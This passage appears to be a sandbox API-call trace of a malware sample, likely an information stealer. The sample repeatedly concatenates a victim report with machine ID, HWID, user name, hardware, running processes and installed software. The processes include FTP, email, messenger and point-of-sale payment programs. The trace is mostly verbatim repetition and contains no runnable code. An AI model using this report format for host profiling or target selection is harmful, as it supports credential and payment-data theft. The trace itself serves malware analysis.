[3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [", lpString2="12.0.30501.0" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0"
[0054.954] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]"
[0054.954] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe 